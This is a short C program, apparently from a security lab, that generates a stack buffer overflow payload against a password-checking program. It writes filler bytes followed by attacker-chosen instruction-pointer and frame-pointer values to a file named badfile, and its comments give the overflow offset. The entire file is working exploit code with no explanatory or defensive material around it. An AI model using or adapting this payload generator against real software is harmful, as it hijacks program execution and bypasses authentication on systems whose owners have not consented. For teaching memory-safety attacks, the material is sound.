password_exploit.c

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {

	//we know that the first 6 characters are the username.
	//the target buffer can hold up to 100 bytes.  Each char is one byte.
	//after 94 bytes, we start to overflow.
	char exploit[1000];
	long unsigned int ip = strtoul(argv[2], NULL, 0);
	long unsigned int rbp = strtoul(argv[3], NULL, 0);
	memset(exploit, 0x51, atoi(argv[1]));
	FILE *exploitcode = fopen("./badfile", "w");
	fwrite(exploit, atoi(argv[1]), 1, exploitcode);
	fwrite(&ip, sizeof(ip), 1, exploitcode);
	fwrite(&rbp, sizeof(rbp), 1, exploitcode);
}